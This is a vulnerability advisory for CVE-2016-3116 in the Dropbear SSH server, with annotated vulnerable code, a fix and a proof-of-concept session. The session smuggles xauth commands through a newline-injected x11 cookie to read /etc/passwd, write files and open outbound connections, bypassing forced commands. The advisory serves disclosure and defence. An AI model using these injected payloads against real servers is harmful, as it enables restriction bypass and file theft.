350 lines
No EOL
11 KiB
Markdown
350 lines
No EOL
11 KiB
Markdown
VuNote
|
|
============
|
|
|
|
Author: <github.com/tintinweb>
|
|
Ref: https://github.com/tintinweb/pub/tree/master/pocs/cve-2016-3116
|
|
Version: 0.2
|
|
Date: Mar 3rd, 2016
|
|
|
|
Tag: dropbearsshd xauth command injection may lead to forced-command bypass
|
|
|
|
Overview
|
|
--------
|
|
|
|
Name: dropbear
|
|
Vendor: Matt Johnston
|
|
References: * https://matt.ucc.asn.au/dropbear/dropbear.html [1]
|
|
|
|
Version: 2015.71
|
|
Latest Version: 2015.71
|
|
Other Versions: <= 2015.71 (basically all versions with x11fwd support; v0.44 ~11 years)
|
|
Platform(s): linux
|
|
Technology: c
|
|
|
|
Vuln Classes: CWE-93 - Improper Neutralization of CRLF Sequences ('CRLF Injection')
|
|
Origin: remote
|
|
Min. Privs.: post auth
|
|
|
|
CVE: CVE-2016-3116
|
|
|
|
|
|
|
|
Description
|
|
---------
|
|
|
|
quote website [1]
|
|
|
|
>Dropbear is a relatively small SSH server and client. It runs on a variety of POSIX-based platforms. Dropbear is open source software, distributed under a MIT-style license. Dropbear is particularly useful for "embedded"-type Linux (or other Unix) systems, such as wireless routers.
|
|
|
|
Summary
|
|
-------
|
|
|
|
An authenticated user may inject arbitrary xauth commands by sending an
|
|
x11 channel request that includes a newline character in the x11 cookie.
|
|
The newline acts as a command separator to the xauth binary. This attack requires
|
|
the server to have 'X11Forwarding yes' enabled. Disabling it, mitigates this vector.
|
|
|
|
By injecting xauth commands one gains limited* read/write arbitrary files,
|
|
information leakage or xauth-connect capabilities. These capabilities can be
|
|
leveraged by an authenticated restricted user - e.g. one with configured forced-commands - to bypass
|
|
account restriction. This is generally not expected.
|
|
|
|
The injected xauth commands are performed with the effective permissions of the
|
|
logged in user as the sshd already dropped its privileges.
|
|
|
|
Quick-Info:
|
|
|
|
* requires: X11Forwarding yes
|
|
* does *NOT* bypass /bin/false due to special treatment (like nologin)
|
|
* bypasses forced-commands (allows arbitr. read/write)
|
|
|
|
Capabilities (xauth):
|
|
|
|
* Xauth
|
|
* write file: limited chars, xauthdb format
|
|
* read file: limit lines cut at first \s
|
|
* infoleak: environment
|
|
* connect to other devices (may allow port probing)
|
|
|
|
|
|
see attached PoC
|
|
|
|
|
|
Details
|
|
-------
|
|
|
|
// see annotated code below
|
|
|
|
* x11req (svr-x11fwd.c:46)
|
|
|
|
* execchild (svr-chansession.c:893)
|
|
*- x11setauth (svr-x11fwd.c:129)
|
|
|
|
Upon receiving an `x11-req` type channel request dropbearsshd parses the channel request
|
|
parameters `x11authprot` and `x11authcookie` from the client ssh packet where
|
|
`x11authprot` contains the x11 authentication method used (e.g. `MIT-MAGIC-COOKIE-1`)
|
|
and `x11authcookie` contains the actual x11 auth cookie. This information is stored
|
|
in a session specific datastore. When calling `execute` on that session, dropbear will
|
|
call `execchild` and - in case it was compiled with x11 support - setup x11 forwarding
|
|
by executing `xauth` with the effective permissions of the user and pass commands via `stdin`.
|
|
Note that `x11authcookie` nor `x11authprot` was sanitized or validated, it just contains
|
|
user-tainted data. Since `xauth` commands are passed via `stdin` and `\n` is a
|
|
command-separator to the `xauth` binary, this allows a client to inject arbitrary
|
|
`xauth` commands.
|
|
|
|
This is an excerpt of the `man xauth` [2] to outline the capabilities of this xauth
|
|
command injection:
|
|
|
|
SYNOPSIS
|
|
xauth [ -f authfile ] [ -vqibn ] [ command arg ... ]
|
|
|
|
add displayname protocolname hexkey
|
|
generate displayname protocolname [trusted|untrusted] [timeout seconds] [group group-id] [data hexdata]
|
|
[n]extract filename displayname...
|
|
[n]list [displayname...]
|
|
[n]merge [filename...]
|
|
remove displayname...
|
|
source filename
|
|
info
|
|
exit
|
|
quit
|
|
version
|
|
help
|
|
?
|
|
|
|
Interesting commands are:
|
|
|
|
info - leaks environment information / path
|
|
~# xauth info
|
|
xauth: file /root/.Xauthority does not exist
|
|
Authority file: /root/.Xauthority
|
|
File new: yes
|
|
File locked: no
|
|
Number of entries: 0
|
|
Changes honored: yes
|
|
Changes made: no
|
|
Current input: (argv):1
|
|
|
|
source - arbitrary file read (cut on first `\s`)
|
|
# xauth source /etc/shadow
|
|
xauth: file /root/.Xauthority does not exist
|
|
xauth: /etc/shadow:1: unknown command "smithj:Ep6mckrOLChF.:10063:0:99999:7:::"
|
|
|
|
extract - arbitrary file write
|
|
* limited characters
|
|
* in xauth.db format
|
|
* since it is not compressed it can be combined with `xauth add` to
|
|
first store data in the database and then export it to an arbitrary
|
|
location e.g. to plant a shell or do other things.
|
|
|
|
generate - connect to <ip>:<port> (port probing, connect back and pot. exploit
|
|
vulnerabilities in X.org
|
|
|
|
|
|
Source
|
|
------
|
|
|
|
Inline annotations are prefixed with `//#!`
|
|
|
|
* handle x11 request, stores cookie in `chansess`
|
|
```c
|
|
/* called as a request for a session channel, sets up listening X11 */
|
|
/* returns DROPBEAR_SUCCESS or DROPBEAR_FAILURE */
|
|
int x11req(struct ChanSess * chansess) {
|
|
|
|
int fd;
|
|
|
|
/* we already have an x11 connection */
|
|
if (chansess->x11listener != NULL) {
|
|
return DROPBEAR_FAILURE;
|
|
}
|
|
|
|
chansess->x11singleconn = buf_getbyte(ses.payload);
|
|
chansess->x11authprot = buf_getstring(ses.payload, NULL); //#! store user tainted data
|
|
chansess->x11authcookie = buf_getstring(ses.payload, NULL); //#! store user tainted data
|
|
chansess->x11screennum = buf_getint(ses.payload);
|
|
```
|
|
|
|
* set auth cookie/authprot
|
|
|
|
```c
|
|
/* This is called after switching to the user, and sets up the xauth
|
|
* and environment variables. */
|
|
void x11setauth(struct ChanSess *chansess) {
|
|
|
|
char display[20]; /* space for "localhost:12345.123" */
|
|
FILE * authprog = NULL;
|
|
int val;
|
|
|
|
if (chansess->x11listener == NULL) {
|
|
return;
|
|
}
|
|
|
|
...
|
|
|
|
/* popen is a nice function - code is strongly based on OpenSSH's */
|
|
authprog = popen(XAUTH_COMMAND, "w"); //#! run xauth binary
|
|
if (authprog) {
|
|
fprintf(authprog, "add %s %s %s\n",
|
|
display, chansess->x11authprot, chansess->x11authcookie); //#! \n injection in cookie, authprot
|
|
pclose(authprog);
|
|
} else {
|
|
fprintf(stderr, "Failed to run %s\n", XAUTH_COMMAND);
|
|
}
|
|
}
|
|
```
|
|
|
|
Proof of Concept
|
|
----------------
|
|
|
|
Prerequisites:
|
|
|
|
* install python 2.7.x
|
|
* issue `#> pip install paramiko` to install `paramiko` ssh library for python 2.x
|
|
* run `poc.py`
|
|
|
|
Note: see cve-2016-3115 [3] for `poc.py`
|
|
|
|
Usage: <host> <port> <username> <password or path_to_privkey>
|
|
|
|
path_to_privkey - path to private key in pem format, or '.demoprivkey' to use demo private key
|
|
|
|
|
|
poc:
|
|
|
|
1. configure one user (user1) for `force-commands`:
|
|
```c
|
|
#PUBKEY line - force commands: only allow "whoami"
|
|
#cat /home/user1/.ssh/authorized_keys
|
|
command="whoami" ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC1RpYKrvPkIzvAYfX/ZeU1UzLuCVWBgJUeN/wFRmj4XKl0Pr31I+7ToJnd7S9JTHkrGVDu+BToK0f2dCWLnegzLbblr9FQYSif9rHNW3BOkydUuqc8sRSf3M9oKPDCmD8GuGvn40dzdub+78seYqsSDoiPJaywTXp7G6EDcb9N55341o3MpHeNUuuZeiFz12nnuNgE8tknk1KiOx3bsuN1aer8+iTHC+RA6s4+SFOd77sZG2xTrydblr32MxJvhumCqxSwhjQgiwpzWd/NTGie9xeaH5EBIh98sLMDQ51DIntSs+FMvDx1U4rZ73OwliU5hQDobeufOr2w2ap7td15 user1@box
|
|
|
|
#cat /etc/passwd
|
|
user1:x:1001:1001:,,,:/home/user1:/bin/bash
|
|
```
|
|
|
|
2. run dropbearsshd (x11fwd is on by default)
|
|
|
|
```c
|
|
#> ~/dropbear-2015.71/dropbear -R -F -E -p 2222
|
|
[22861] Not backgrounding
|
|
[22862] Child connection from 192.168.139.1:49597
|
|
[22862] Forced command 'whoami'
|
|
[22862] Pubkey auth succeeded for 'user1' with key md5 dc:b8:56:71:89:36:fb:dc:0e:a0:2b:17:b9:83:d2:dd from 192.168.139.1:49597
|
|
```
|
|
|
|
3. `forced-commands` - connect with user1 and display env information
|
|
|
|
```c
|
|
#> python <host> 2222 user1 .demoprivkey
|
|
|
|
INFO:__main__:add this line to your authorized_keys file:
|
|
#PUBKEY line - force commands: only allow "whoami"
|
|
#cat /home/user/.ssh/authorized_keys
|
|
command="whoami" ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC1RpYKrvPkIzvAYfX/ZeU1UzLuCVWBgJUeN/wFRmj4XKl0Pr31I+7ToJnd7S9JTHkrGVDu+BToK0f2dCWLnegzLbblr9FQYSif9rHNW3BOkydUuqc8sRSf3M9oKPDCmD8GuGvn40dzdub+78seYqsSDoiPJaywTXp7G6EDcb9N55341o3MpHeNUuuZeiFz12nnuNgE8tknk1KiOx3bsuN1aer8+iTHC+RA6s4+SFOd77sZG2xTrydblr32MxJvhumCqxSwhjQgiwpzWd/NTGie9xeaH5EBIh98sLMDQ51DIntSs+FMvDx1U4rZ73OwliU5hQDobeufOr2w2ap7td15 user@box
|
|
|
|
INFO:__main__:connecting to: user1:<PKEY>@192.168.139.129:2222
|
|
INFO:__main__:connected!
|
|
INFO:__main__:
|
|
Available commands:
|
|
.info
|
|
.readfile <path>
|
|
.writefile <path> <data>
|
|
.exit .quit
|
|
<any xauth command or type help>
|
|
|
|
#> .info
|
|
DEBUG:__main__:auth_cookie: '\ninfo'
|
|
DEBUG:__main__:dummy exec returned: None
|
|
INFO:__main__:Authority file: /home/user1/.Xauthority
|
|
File new: no
|
|
File locked: no
|
|
Number of entries: 2
|
|
Changes honored: yes
|
|
Changes made: no
|
|
Current input: (stdin):2
|
|
user1
|
|
/usr/bin/xauth: (stdin):1: bad "add" command line
|
|
|
|
...
|
|
```
|
|
|
|
4. `forced-commands` - read `/etc/passwd`
|
|
|
|
```c
|
|
...
|
|
#> .readfile /etc/passwd
|
|
DEBUG:__main__:auth_cookie: 'xxxx\nsource /etc/passwd\n'
|
|
DEBUG:__main__:dummy exec returned: None
|
|
INFO:__main__:root:x:0:0:root:/root:/bin/bash
|
|
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
|
|
bin:x:2:2:bin:/bin:/usr/sbin/nologin
|
|
sys:x:3:3:sys:/dev:/usr/sbin/nologin
|
|
sync:x:4:65534:sync:/bin:/bin/sync
|
|
...
|
|
```
|
|
|
|
5. `forced-commands` - write `/tmp/testfile`
|
|
|
|
```c
|
|
#> .writefile /tmp/testfile1 `thisisatestfile`
|
|
DEBUG:__main__:auth_cookie: '\nadd 127.0.0.250:65500 `thisisatestfile` aa'
|
|
DEBUG:__main__:dummy exec returned: None
|
|
DEBUG:__main__:auth_cookie: '\nextract /tmp/testfile1 127.0.0.250:65500'
|
|
DEBUG:__main__:dummy exec returned: None
|
|
DEBUG:__main__:user1
|
|
/usr/bin/xauth: (stdin):1: bad "add" command line
|
|
|
|
#> INFO:__main__:/tmp/testfile1
|
|
|
|
#> ls -lsat /tmp/testfile1
|
|
4 -rw------- 1 user1 user1 59 xx xx 12:51 /tmp/testfile1
|
|
|
|
#> cat /tmp/testfile1
|
|
ú65500hiú65500`thisisatestfile`ªr
|
|
```
|
|
|
|
6. `forced-commands` - initiate outbound X connection to 8.8.8.8:6100
|
|
|
|
```c
|
|
#> generate 8.8.8.8:100
|
|
DEBUG:__main__:auth_cookie: '\ngenerate 8.8.8.8:100'
|
|
DEBUG:__main__:dummy exec returned: None
|
|
INFO:__main__:user1
|
|
/usr/bin/xauth: (stdin):1: bad "add" command line
|
|
/usr/bin/xauth: (stdin):2: unable to open display "8.8.8.8:100".
|
|
|
|
#> tcpdump
|
|
IP <host> 8.8.8.8.6100: Flags [S], seq 81800807, win 29200, options [mss 1460,sackOK,TS val 473651893 ecr 0,nop,wscale 10], length 0
|
|
```
|
|
|
|
Fix
|
|
---
|
|
|
|
* Sanitize user-tainted input `chansess->x11authcookie`
|
|
|
|
|
|
Mitigation / Workaround
|
|
------------------------
|
|
|
|
* disable x11-forwarding: re-compile without x11 support: remove `options.h` -> `#define ENABLE_X11FWD`
|
|
|
|
Notes
|
|
-----
|
|
|
|
Thanks to the OpenSSH team for coordinating the fix!
|
|
|
|
Vendor response see: changelog [4]
|
|
|
|
|
|
References
|
|
----------
|
|
|
|
[1] https://matt.ucc.asn.au/dropbear/dropbear.html
|
|
[2] http://linux.die.net/man/1/xauth
|
|
[3] https://github.com/tintinweb/pub/tree/master/pocs/cve-2016-3115/
|
|
[4] https://matt.ucc.asn.au/dropbear/CHANGES
|
|
|
|
Contact
|
|
-------
|
|
|
|
https://github.com/tintinweb |